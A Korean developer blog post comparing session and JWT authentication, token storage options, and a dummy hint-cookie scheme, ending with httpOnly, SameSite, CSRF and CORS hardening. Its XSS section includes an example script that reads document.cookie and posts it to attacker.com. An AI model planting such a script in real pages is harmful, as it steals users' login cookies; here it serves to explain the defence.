Posts 인증방식 고민
Post
Cancel

인증방식 고민

세션 인증 방식과 JWT 인증 방식의 차이

  • 세션 방식
    • 서버에서 사용자 정보를 key-value 저장소에 저장
    • 서버에서 key를 사용자 쿠키에 담아서 전송
    • 사용자가 인증이 필요한 요청을 하면
      요청과 함께 키가 담긴 쿠키가 서버로 전송됨
    • 서버는 key를 가지고 key-value 저장소를 조회하여
      인증정보가 유효함을 확인함
  • 세션 방식의 문제
    • 인증 정보가 key-value 저장소에 저장되기 때문에
      인증 요청이 많아질수록 key-value 저장소에 저장되는
      인증 정보량도 증가함
    • 인증이 필요한 요청마다 key-value 저장소를 조회하기 때문에
      인증 정보가 너무 많이 저장된 경우 조회 성능도 줄어든다.
    • 한 명의 유저가 여러 디바이스를 가지고 다중 접속하는 경우도
      많아지기에 key-value 저장소가 성능 문제를 일으킬수도 있다.
  • JWT(Json Web Token)
    • 인증정보를 key-value 저장소에 저장하는게 아니라
      사용자 고유키를 포함한 몇 가지 정보를
      쿠키에 담거나, 응답으로 준뒤 헤더(Authorization) 받는 방법이다.
    • 이때 클라이언트에서 임의로 사용자 고유키를 변경하는 것을
      막기 위해 전자서명을 담아서 위조를 방지한다.
    • 전자서명(Signature) 생성
      • Header + Payload를 Base64Url 인코딩
      • Base64Url(Header + “.” + Payload)의 해시(SHA-256)를 생성
      • 비밀키(Private Key)로 해시 값을 암호화하여 Signature 생성
      • Header.Payload.Signature 형태의 JWT 응답
    • 전자서명 검증
      • JWT에서 Header, Payload, Signature 분리
      • Header + Payload를 Base64Url 인코딩
        (클라이언트가 보낸 값 그대로 사용)
      • Base64Url(Header + “.” + Payload)의 해시(SHA-256)를 계산
      • 공개키(Public Key)로 Signature를 검증
        • Signature를 공개키로 복호화
        • 복호화된 값(원래 해시)과 직접 계산한 해시 값 비교
      • 일치하면 유효한 토큰, 다르면 위조된 토큰
  • JWT 운영
    • Access 토큰
      • 사용자 고유키를 포함한 몇 가지 정보가 담긴 토큰
      • 인증 여부를 판별할때 사용하기에
        유효기간을 짧게 두어
        토큰이 탈취되었을 때 위험을 최소화한다.
    • Refresh 토큰
      • Access 토큰을 재발행할 때 사용하는 토큰이다.
      • Refresh 토큰이 유효하다면 Refresh 토큰을 이용하여
        Access 토큰을 재발행한다.
  • JWT 인증이 세션 방식보다 좋은 점
    • key-value 저장소를 운영하지 않을 수 있다.
      • 이미 사용자 정보가 Access 토큰에 포함되어 있기 때문에
        key-value 저장소를 운영할 필요가 없다.
      • 다만 Refresh 토큰 탈취를 대비하여
        블랙리스트 제도를 도입한다면 key-value 저장소를 운영해야한다.
        하지만 이때에도 블랙리스트로 등록된 refresh 토큰만 조회하므로
        세션 key-value 스토어보다 저장되는 데이터는 적다.
    • DB 조회 최소화
      • 극단적으로 사용자 고유키 외에 인증에 필요한 다양한 정보
        (이름, 닉네임, 생년월일) 등을 JWT에 저장하면
        DB 조회 수를 줄일 수 있다.
      • 다만 많은 정보를 저장할수록 JWT 길이가 길어져서
        인증이 필요한 요청을 할때마다 주고 받는 데이터 양이 증가한다.
      • JWT payload는 JWT 토큰 탈취 시에 그대로 노출되기 때문에
        생년월일 등의 민감정보는 저장하지 않는 것이 좋다.
  • 그래서 어떤 방법을 선택?
    • 현재 팀은 JWT 인증 방식 경험이 더 많으므로
      JWT 인증 방식 선택
    • JWT payload에는 사용자 고유키만 포함

JWT를 어디에 저장할까?

  • 웹에서 인증정보를 저장하는 것에 어려움
    • 웹 브라우저에서 javascript로 접근 가능한 저장소는 XSS 공격을 받을 수 있다.
    • XSS(Cross-Site-Scripting)
      • 악의적인 스크립트 코드를 다른 사용자의 브라우저에서 실행시키는 공격
      • 일반적인 브라우저에서는 동일 출처 정잭(Same origin policy)를
        갖기 때문에 이메일 등을 이용한 우회적인 방법으로는
        XSS 공격을 실행시키기 어렵다.
      • 다만 사이트 내에 사용자가 입력할 수 있는 정보가 있고
        script 예외처리가 제대로 처리되지 않은 경우에는
        XSS 공격을 실행시킬 수 있다.
      • XSS 공격의 핵심은 javascript로 접근 가능한
        쿠키나 로컬스토리지에 담긴 인증 정보를
        공격자가 악의적 스크립트를 삽입하여 탈취하는 것이다.
    • XSS 예시
      • 시나리오
        • 공격자는 이메일로 사용의 helloworld.com 인증정보를
          탈취하고자 한다.
        • helloworld.com은 인증정보를 httpOnly = false로 쿠키에 저장한다.
        • 사용자는 구형 브라우저로 사용 중이라 samesite = none이 기본값이다.
        • 이메일 제공자는 어떠한 스크립트 방어 정책도 제공하지 않는다.
        • 사용자는 helloworld.com에 최근 로그인한 상태라 브라우저에서
          인증정보를 가지고 있다.
        • 공격자 사이트로 해당 쿠기가 담겨 전송된다.
      • 이메일 악성 스크립트 예시
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        
        <script>  
        	fetch('http://attacker.com/steal-cookies', {  
        		method: 'POST',  
        		headers: {  
        			'Content-Type': 'application/json'  
        		},  
        		body: JSON.stringify({  
        			cookies: document.cookie //사용자의 쿠키 정보 추출  
        		})  
        	})  
        	.then(response => console.log('쿠키 전송 완료'))  
        	.catch(error => console.error('에러 발생', error));  
        </script>  
        
  • 웹 브라우저에서 인증 정보를 저장할 수 있는 장소
    • 로컬 스토리지
      • Javascript로 로컬 스토리지 조회가 가능하기 때문에 XSS 공격에 취약하다.
    • 쿠키(httpOnly = false)
      • Javascript로 조회가 쿠키(httpOnly = false )가능하기 때문에
        XSS 공격에 취약하다.
    • 메모리 저장소
      • Redux, Recoil, Zustand와 같이 전역 state 저장소를 사용할 수도 있다.
      • XSS로 메모리 영역 변수 조회를 하기는 어렵다.
      • 하지만 새로 고침 시 초기화 되므로 계속 사용하기 어렵다.
    • 쿠키(httpOnly = true)
      • 웹 브라우저 javascript 로는 httpOnly = true 쿠키를 조회할 수 없다.
      • samesite = lax로 설정하면 브라우저가 다른 도메인으로 요청한 경
        httpOnly = true가 함께 전달되지 않는다.
      • 웹 브라우저에서는 해당 쿠키를 아예 조회할 수 없기 때문에
        쿠키 관련된 처리는 모두 서버에서 처리한다.
  • 그래서 어디에 저장?
    • 쿠키(httpOnly = true)에 저장한다.

클라이언트에게 현재 인증 여부를 알리는 방법

  • 서버에서 쿠키(httpOnly = true)로 인증정보를 저장하면
    클라이언트에서는 인증정보를 아예 볼 수 없기 때문에
    현재 인증 여부를 알 수 없다.
  • 방법1 - 직접 인증이 필요한 요청을 날려서 확인하기
    • 메인페이지의 [로그인/로그아웃] 버튼과 같이
      인증 없이 들어갈 수 있는 페이지에서
      인증 여부에 따라 다르게 표시해야하는 경우가 있다.
    • 사용자가 메인페이지에 접속할때마다
      인증이 필요한 요청을 먼저 날려서
      인증 유무를 파악해야한다.
    • 불필요한 요청으로 인하여 트래픽이 증가하고
      접속마다 상태를 확인하기 때문에
      빈번한 렌더링으로 사용자 경험이 안 좋아진다.
  • 방법2 -서버에서 JWT 응답 본문에 인증 만료 시간 포함
    • JWT 발급 시 본문에 인증 만료 시간을 포함시켜
      클라이언트에서 인증이 언제 만료되는지 알 수 있게 한다.
    • 방법1의 단점을 모두 보완할 수 있지만
      클라이언트에서 만료 시간을 확인하고
      요청 전에 만료시간과 비교해서
      인증 유효여부를 판별해야한다는 불편함이 있다.
  • 방법3 - 서버에서 인증 쿠키와 동일한 생명주기를 가진
    더미 힌트 쿠키를 응답에 포함
    • 더미 힌트 쿠키는 httpOnly = false이기 때문에
      클라이언트에서 조회할 수 있다.
    • 더미 힌트 쿠키는 인증 쿠키와 생명주기가 같기 때문에
      인증쿠키가 만료되면 더미 힌트 쿠키도 만료되어
      없어지게 된다.
    • 따라서 클라이언트에서는 더미 힌트 쿠키 조회하여
      존재 유무에 따라 인증여부를 판단한다.
    • 더미 힌트 쿠키는 매 요청마다 함께 전송되기 떄문에
      body를 비우거나 아주 작은 값만 넣어 데이터를 최소화한다.
  • 그래서 어떤 방법 선택?
    • 더미 힌트 쿠키로 구현해보자.

Refresh 토큰에 사용자 식별자를 포함시켜야할까?

  • 포함시킨다.
    • 장점
      • DB 조회 없이 Refresh 토큰만으로 Access 토큰은 발급할 수 있다.
    • 단점
      • Refresh 토큰 탈취 시 사용자 식별자도 함께 탈취된다.
  • 포함시키지 않는다.
    • 설명
      • key-value 저장소에 key: UUID, value: 사용자 식별자를 저장한다.
      • Refresh 토큰에는 UUID만 담는다.
      • Refresh 토큰으로 Access 토큰 생성 시 UUID를 이용하여
        사용자 식별자를 찾아 Access 토큰을 발급한다.
    • 장점
      • Refresh 토큰이 탈취되어도 사용자 식별자는 탈취되지 않는다.
    • 단점
      • Access 토큰이 만료될 때마다 key-value를 조회한다.
      • 이 경우에도 세션보다는 key-value 저장소 조회 빈도는 적다.
      • 세션은 매 요청마다 key-value 저장소를 조회해야 하지만
        Refresh UUID 에서는 Access 토큰 만료 후 요청 시에만
        key-value 저장소를 조회한다.
  • 암호화하여 포함시킨다.
    • 장점
      • DB 조회 없이 Refresh 토큰만으로 Access 토큰을 발급할 수 있다.
      • Refresh 토큰이 탈취되어도 사용자 식별자를 판별할 수 없다.
    • 단점
      • 암복호화 시간이 추가된다.
  • 그래서 어떤 방법 선택?
    • 현재는 Refresh 토큰에 사용자 식별자를 포함하는 것으로 구현되어 있다.
    • 추후에 암호화하여 포함시키는 것을 검토하고
      문제 없으면 교체해보자.

구체적인 구현 방법

  • 가정
    • JWT 방식으로 인증을 구현한다.
    • Access 토큰과 Refresh 토큰을 사용하여 인증을 처리한다.
    • Refresh 토큰만으로 DB 조회 없이 Access 토큰 신규 발행이 가능하다.
  • 클라이언트
    • /login 엔드포인트로 ID와 Password를 요청에 담아 보낸다.
  • 서버 - JWT 발행
    • ID와 Password가 유효하다면 Access 토큰과 Refresh 토큰을
      httpOnly = true 쿠키에 담아 응답에 담는다.
    • Access 토큰과 Refresh 토큰의 생명주기가 동일한 더미 힌트 쿠키도
      httpOnly = false 쿠키에 담고 응답에 담는다.
    • 클라이언트로 응답한다.
  • 클라이언트
    • /login 응답이 성공적으로 도착하였고, 더미 힌트 쿠키가 존재한다면
      인증에 성공하였다고 판단한다.
    • 더미 힌트 쿠키는 프론트에서 [로그인 /로그아웃 버튼]과 같이
      로그인 여부를 판별해야 하는 상황에서 사용한다.
    • 인증이 필요한 요청을 보낼때
      Refresh 토큰 더미 힌트 쿠키의 만료시간이 얼마 안 남았다면
      새 Refresh 토큰 발급 API에 요청한다.
    • Refresh 토큰 더미 쿠키가 만료되어 없어졌다면
      로그인 창으로 리다이렉트하여 사용자가 직접 인증하도록 유도한다.
    • 서버에서 401 에러를 받았다면 로그인 창으로 리다이렉트하여
      사용자가 직접 인증하도록 유도한다.
  • 서버
    • Refresh 토큰이 유효하지 않다.
      • 현재 존재하는 요청에 담긴 Access 토큰과 Refresh 토큰을 만료시키고
        401 에러로 응답한다.
    • Refresh 토큰은 유효한데 Access 토큰이 만료되었다.
      • Refresh 토큰으로 Access 토큰을 새로 발행한다.
      • 이때 공격자가 의도적으로 잘못된 Access 토큰을 넣을 가능성도 있으므로
        CSRF 토큰을 도입하여 의도하지 않은 악의적 요청을 최대한 막는다.
    • Refresh 토큰도 유효하고 Access 토큰도 유효하자
      • 기존에 발행된 Access 토큰으로 인증 처리를 한다.

가장 보안적으로 그나마 안정적인 방식

  • 인증 정보는 httpOnly = true, samesite = lax, secure = true 쿠키에
    담아 프론트에서 javascript로 조회할 수 없게 한다.
    (XSS 공격 방어)
  • CSRF 토큰을 사용하여 CSRF 공격을 막는다.
  • CORS 설정을 하여 웹 브라우저에서 서비스에서 의도하지 않은
    AJAX 통신을 막는다.
This post is licensed under CC BY 4.0 by the author.